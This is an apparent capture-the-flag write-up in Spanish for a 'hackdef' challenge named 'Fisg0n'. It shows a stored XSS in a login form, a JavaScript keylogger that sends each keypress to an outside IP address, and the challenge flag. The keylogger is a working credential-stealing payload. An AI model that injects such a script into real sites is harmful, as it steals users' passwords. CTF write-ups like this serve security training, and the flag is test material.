

Fisg0n

Necesitamos robar la contraseña del administrador de este sitio, sabemos que constantemente se loggea al sitio, aproximadamente cada 10 minutos, puedes espiarlo y recuperarnos dicha informacion?

Cross-site Scripting (XSS)

Podemos ver que el formulario es vulnerable a **XSS**, ya que al momento de ingresar `<script>alert(1)</script>` en el usuario o password lo ejecuta correctamente.

Con ayuda de la descripción sabemos que se está ingresando el password cada cierto tiempo. Por lo cual creamos un script para obtener los caracteres que se están ingresando.

```
var l = "|";

document.onkeypress = function (e) {
    l += e.key + "";

    var req = new XMLHttpRequest();
    req.open("GET", "http://23.102.168.56/?exfil="+l, true);
    req.send(null);
}
```

Flag:

```
hackdef{st0r3d_xss_c4n_b3_d4n93r0u$_t0o!}
```